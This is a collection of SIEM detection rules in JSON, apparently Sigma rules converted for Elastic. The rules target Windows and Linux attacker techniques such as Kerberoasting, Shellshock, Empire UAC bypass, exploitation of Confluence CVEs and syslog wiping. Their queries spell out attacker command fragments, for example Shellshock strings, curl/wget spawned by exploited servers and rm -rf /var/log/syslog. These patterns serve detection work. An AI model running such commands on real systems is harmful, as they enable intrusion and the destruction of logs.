{"description": "Detects service installation with suspicious folder patterns", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "631a6f37-bf1f-db63-3417-b418da9f2d8c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Service Installation with Suspicious Folder Pattern", "query": "(winlog.channel:\"System\" AND (Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\") AND (winlog.event_data.ImagePath:/^[Cc]:\\\\[Pp]rogram[Dd]ata\\\\.{1,9}\\.exe/ OR winlog.event_data.ImagePath:/^[Cc]:\\\\.{1,9}\\.exe/))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["pH-T"], "license": ""}
{"description": "Detects service path modification via the \"sc\" binary to a suspicious command or path", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e4bf8d5d-1c8e-7570-f488-48e13fa800b5", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Service Path Modification", "query": "(process.executable:*\\\\sc.exe AND process.command_line:*config* AND process.command_line:*binPath* AND process.command_line:(*powershell* OR *cmd* OR *mshta* OR *wscript* OR *cscript* OR *rundll32* OR *C\\:\\\\Users\\\\Public* OR *\\\\Downloads\\\\* OR *\\\\Desktop\\\\* OR *\\\\Microsoft\\\\Windows\\\\Start\\ Menu\\\\Programs\\\\Startup\\\\* OR *C\\:\\\\Windows\\\\TEMP\\\\* OR *\\\\AppData\\\\Local\\\\Temp*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Victor Sergeev", "oscd.community", "Nasreddine Bencherchali (update)"], "license": ""}
{"description": "Detects Service Principal Name Enumeration used for Kerberoasting", "enabled": false, "false_positives": ["Administrator Activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "00e9a523-2b6e-c516-cd5e-410f06e0899b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Possible SPN Enumeration", "query": "((process.executable:*\\\\setspn.exe OR (winlog.event_data.Description:*Query\\ or\\ reset\\ the\\ computer* AND winlog.event_data.Description:*SPN\\ attribute*)) AND process.command_line:*\\-q*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1558"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1558", "name": "Steal or Forge Kerberos Tickets", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Markus Neis", "keepwatch"], "license": ""}
{"description": "Detects service ticket requests using RC4 encryption type", "enabled": false, "false_positives": ["Service accounts used on legacy systems (e.g. NetApp)", "Windows Domains with DFL 2003 and legacy systems"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "678ba65c-0c7f-44aa-35f3-836bb3f9bf0a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Kerberos RC4 Ticket Encryption", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:\"4769\" AND winlog.event_data.TicketOptions:\"0x40810000\" AND winlog.event_data.TicketEncryptionType:\"0x17\") AND (NOT (winlog.event_data.ServiceName:*$)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1558"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1558", "name": "Steal or Forge Kerberos Tickets", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects set value ms-msdt MSProtocol URI scheme in Registry that could be an attempt to exploit CVE-2022-30190.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7cd2111f-54c0-db81-a028-ec9d97380fd1", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Set Value of MSDT in Registry (CVE-2022-30190)", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:HKCR\\\\ms\\-msdt\\\\*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1221"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1221", "name": "Template Injection", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Sittikorn S"], "license": ""}
{"description": "Detects Set-Alias or New-Alias cmdlet usage. Which can be use as a mean to obfuscate PowerShell scripts", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4b8e96a2-a475-26d4-a29f-d143f76b2f2f", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Potential PowerShell Obfuscation Using Alias Cmdlets", "query": "powershell.file.script_block_text:(*Set\\-Alias\\ * OR *New\\-Alias\\ *)", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects setting proxy", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "c59e4404-fee5-547d-1cbb-fe65809c7da3", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Connection Proxy", "query": "(*http_proxy\\=* OR *https_proxy\\=*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["\u00d6mer G\u00fcnal"], "license": ""}
{"description": "Detects SharpLdapWhoami, a whoami alternative by asking the LDAP service on a domain controller", "enabled": false, "false_positives": ["Programs that use the same command line flags"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "14392727-a73d-6f7d-8e47-777115b323b1", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "SharpLdapWhoami", "query": "(process.executable.text:*\\\\SharpLdapWhoami.exe OR winlog.event_data.OriginalFileName:*SharpLdapWhoami* OR Product:\"SharpLdapWhoami\" OR process.command_line.text:(*\\ \\/method\\:ntlm OR *\\ \\/method\\:kerb OR *\\ \\/method\\:nego OR *\\ \\/m\\:nego OR *\\ \\/m\\:ntlm OR *\\ \\/m\\:kerb))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1033"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1033", "name": "System Owner/User Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects shell spawned from Java host process, which could be a sign of exploitation (e.g. log4j exploitation)", "enabled": false, "false_positives": ["Legitimate calls to system binaries", "Company specific internal usage"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7448d59c-fa74-1be8-769d-2c5d756c2490", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Shells Spawned by Java", "query": "((process.parent.executable.text:*\\\\java.exe AND process.executable.text:(*\\\\cmd.exe OR *\\\\powershell.exe OR *\\\\pwsh.exe)) AND (NOT (process.parent.executable.text:*build* AND process.command_line.text:*build*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "Privilege Escalation"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Andreas Hunkeler (@Karneades)", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detects shell32.dll executing a DLL in a suspicious directory", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e6a61c92-8c0c-81ac-b501-11c54b65bbf0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Shell32 DLL Execution in Suspicious Directory", "query": "(process.executable:*\\\\rundll32.exe AND process.command_line:*shell32.dll* AND process.command_line:*Control_RunDLL* AND process.command_line:(*%AppData%* OR *%LocalAppData%* OR *%Temp%* OR *\\\\AppData\\\\* OR *\\\\Temp\\\\* OR *\\\\Users\\\\Public\\\\*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects shellshock expressions in log files", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "c06f0fd8-74b5-1a44-2c2a-0c660d2a6749", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Shellshock Expression", "query": "(*\$\$\\{\\:;\\};* OR *\$\$\\ \\{\\:;\\};* OR *\$\$\\ \\{\\ \\:;\\};* OR *\$\$\\ \\{\\ \\:;\\ \\};*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects signs of potential use of the WSMAN provider from uncommon processes locally and remote execution.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ea7eb4a6-466b-4e7e-9d4e-9bae46c638bf", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious WSMAN Provider Image Loads", "query": "((((dll.path:(*\\\\WsmSvc.dll OR *\\\\WsmAuto.dll OR *\\\\Microsoft.WSMan.Management.ni.dll) OR winlog.event_data.OriginalFileName:(\"WsmSvc.dll\" OR \"WSMANAUTOMATION.DLL\" OR \"Microsoft.WSMan.Management.dll\")) OR (process.executable.text:*\\\\svchost.exe AND winlog.event_data.OriginalFileName:\"WsmWmiPl.dll\")) AND (NOT ((process.executable.text:(*\\\\powershell.exe OR *C\\:\\\\Windows\\\\System32\\\\sdiagnhost.exe OR *C\\:\\\\Windows\\\\System32\\\\services.exe)) OR (process.command_line.text:(*svchost.exe\\ \\-k\\ netsvcs\\ \\-p\\ \\-s\\ BITS* OR *svchost.exe\\ \\-k\\ GraphicsPerfSvcGroup\\ \\-s\\ GraphicsPerfSvc* OR *svchost.exe\\ \\-k\\ NetworkService\\ \\-p\\ \\-s\\ Wecsvc* OR *svchost.exe\\ \\-k\\ netsvcs*)) OR (process.executable.text:(C\\:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\v* OR C\\:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v*) AND process.executable.text:*\\\\mscorsvw.exe) OR (process.executable.text:(\"C\\:\\\\Windows\\\\System32\\\\Configure\\-SMRemoting.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\ServerManager.exe\")) OR (process.executable.text:C\\:\\\\Windows\\\\Temp\\\\asgard2\\-agent\\\\*) OR (process.executable.text:C\\:\\\\Program\\ Files\\\\Citrix\\\\*) OR (process.executable.text:*\\\\powershell_ise.exe) OR (process.executable.text:C\\:\\\\$WINDOWS.\\~BT\\\\Sources\\\\*)))) AND (NOT ((process.executable.text:*\\\\svchost.exe AND NOT _exists_:process.command_line.text))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Lateral Movement", "T1021", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "Detects signs of the exploitation of LPE CVE-2021-41379 that include an msiexec process that creates an elevation_service.exe file", "enabled": false, "false_positives": ["Unknown", "Possibly some Microsoft Edge upgrades"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "70086464-90f8-69b7-2bdb-b104a4a2ab1b", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "InstallerFileTakeOver LPE CVE-2021-41379 File Create Event", "query": "(process.executable:*\\\\msiexec.exe AND file.path:C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\\\Edge\\\\Application* AND file.path:*\\\\elevation_service.exe)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Privilege Escalation", "T1068"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1068", "name": "Exploitation for Privilege Escalation", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects signs of the exploitation of LPE CVE-2021-41379 to spawn a cmd.exe with LOCAL_SYSTEM rights", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c8006a6d-642b-4225-b562-5434e142cd29", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Possible InstallerFileTakeOver LPE CVE-2021-41379", "query": "(process.executable:*\\\\cmd.exe AND process.parent.executable:*\\\\elevation_service.exe AND IntegrityLevel:\"System\")", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Privilege Escalation", "T1068"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1068", "name": "Exploitation for Privilege Escalation", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects signs of the WMI script host process %SystemRoot%\\system32\\wbem\\scrcons.exe functionality being used via images being loaded by a process.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "80763e1e-d0dc-1b0c-2284-ecf4b7e28dec", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "WMI Script Host Process Image Loaded", "query": "(process.executable:*\\\\scrcons.exe AND file.path:(*\\\\vbscript.dll OR *\\\\wbemdisp.dll OR *\\\\wshom.ocx OR *\\\\scrrun.dll))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "Privilege Escalation", "T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "Detects Silence empireDNSagent", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "020102c8-fffc-e9e8-f86f-ddc2e271f732", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Silence.EDA Detection", "query": "(powershell.file.script_block_text:*System.Diagnostics.Process* AND powershell.file.script_block_text:*Stop\\-Computer* AND powershell.file.script_block_text:*Restart\\-Computer* AND powershell.file.script_block_text:*Exception\\ in\\ execution* AND powershell.file.script_block_text:*$cmdargs* AND powershell.file.script_block_text:*Close\\-Dnscat2Tunnel* AND powershell.file.script_block_text:*set\\ type\\=$LookupType`nserver* AND powershell.file.script_block_text:*$Command\\ |\\ nslookup\\ 2>&1\\ |\\ Out\\-String* AND powershell.file.script_block_text:*New\\-RandomDNSField* AND powershell.file.script_block_text:*\\[Convert\\]\\:\\:ToString\$$SYNOptions,\\ 16\$* AND powershell.file.script_block_text:*$Session.Dead\\ \\=\\ $True* AND powershell.file.script_block_text:*$Session\\[\\\"Driver\\\"\\]\\ \\-eq*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1059", "T1071", "T1529", "T1572"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1529", "name": "System Shutdown/Reboot", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Alina Stepchenkova", "Group-IB", "oscd.community"], "license": ""}
{"description": "Detects SILENTTRINITY stager use", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7a05c282-7133-581c-7dcd-8969ece099e5", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "SILENTTRINITY Stager Execution", "query": "winlog.event_data.Description:*st2stager*", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Aleksey Potapov", "oscd.community"], "license": ""}
{"description": "Detects SILENTTRINITY stager use", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7a05c282-7133-581c-7dcd-8969ece099e5", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "SILENTTRINITY Stager Execution", "query": "winlog.event_data.Description:*st2stager*", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Aleksey Potapov", "oscd.community"], "license": ""}
{"description": "Detects some Empire PowerShell UAC bypass methods", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c6c002d1-9cc6-958b-ca36-bb4eedcd884a", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Empire PowerShell UAC Bypass", "query": "process.command_line:(*\\ \\-NoP\\ \\-NonI\\ \\-w\\ Hidden\\ \\-c\\ $x\\=$\$\\(gp\\ HKCU\\:Software\\\\Microsoft\\\\Windows\\ Update\$.Update\\)* OR *\\ \\-NoP\\ \\-NonI\\ \\-c\\ $x\\=$\$\\(gp\\ HKCU\\:Software\\\\Microsoft\\\\Windows\\ Update\$.Update\\);*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Ecco"], "license": ""}
{"description": "Detects source code enumeration that use GET requests by keyword searches in URL strings", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "6ac8fda3-96fd-43f2-1dc9-bad88bab8e43", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Source Code Enumeration Detection by Keyword", "query": "*.git\\/*", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1083"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1083", "name": "File and Directory Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["James Ahearn"], "license": ""}
{"description": "Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2021-26084", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "520488ee-f30a-afb0-137c-217c432501fb", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Atlassian Confluence CVE-2021-26084", "query": "(process.parent.executable.text:*\\\\Atlassian\\\\Confluence\\\\jre\\\\bin\\\\java.exe AND process.command_line.text:(*cmd\\ \\/c* OR *cmd\\ \\/k* OR *powershell* OR *certutil* OR *curl* OR *whoami* OR *ipconfig*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1059", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}, {"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj"], "license": ""}
{"description": "Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2022-26134", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "70298d5e-0ed3-903b-6b4b-25b9b18f3154", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Atlassian Confluence CVE-2022-26134", "query": "(process.parent.executable:\\/opt\\/atlassian\\/confluence\\/* AND process.parent.executable:*\\/java AND process.command_line:(*\\/bin\\/sh* OR *bash* OR *dash* OR *ksh* OR *zsh* OR *csh* OR *fish* OR *curl* OR *wget* OR *python*))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1059", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}, {"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects specific combinations of encoding methods in the PowerShell command lines", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3f5b4f7c-663f-c76b-dac6-76783eaccc90", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Encoded PowerShell Command Line", "query": "(process.executable:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND ((process.command_line:(*ToInt* OR *ToDecimal* OR *ToByte* OR *ToUint* OR *ToSingle* OR *ToSByte*) AND process.command_line:(*ToChar* OR *ToString* OR *String*)) OR (process.command_line:*join* AND (process.command_line:*char* OR process.command_line:*split*))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Teymur Kheirkhabarov (idea)", "Vasiliy Burov (rule)", "oscd.community", "Tim Shelton"], "license": ""}
{"description": "Detects specific combinations of encoding methods in the PowerShell command lines", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "13774436-bfc6-5b60-77e8-7b5b65f789be", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Encoded PowerShell Command Line", "query": "(process.executable:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND process.command_line:*ForEach* AND process.command_line:*Xor*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Teymur Kheirkhabarov (idea)", "Vasiliy Burov (rule)", "oscd.community", "Tim Shelton"], "license": ""}
{"description": "Detects specific commands commonly used to remove or empty the syslog", "enabled": false, "false_positives": ["Log rotation"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "665e678a-ff07-5069-29de-d5b665b85a6e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Commands to Clear or Remove the Syslog", "query": "((*rm\\ \\/var\\/log\\/syslog* OR *rm\\ \\-r\\ \\/var\\/log\\/syslog* OR *rm\\ \\-f\\ \\/var\\/log\\/syslog* OR *rm\\ \\-rf\\ \\/var\\/log\\/syslog* OR *mv\\ \\/var\\/log\\/syslog* OR *\\ >\\/var\\/log\\/syslog* OR *\\ >\\ \\/var\\/log\\/syslog*) AND (NOT (*\\/syslog.*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1565"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1565", "name": "Data Manipulation", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Max Altgelt"], "license": ""}
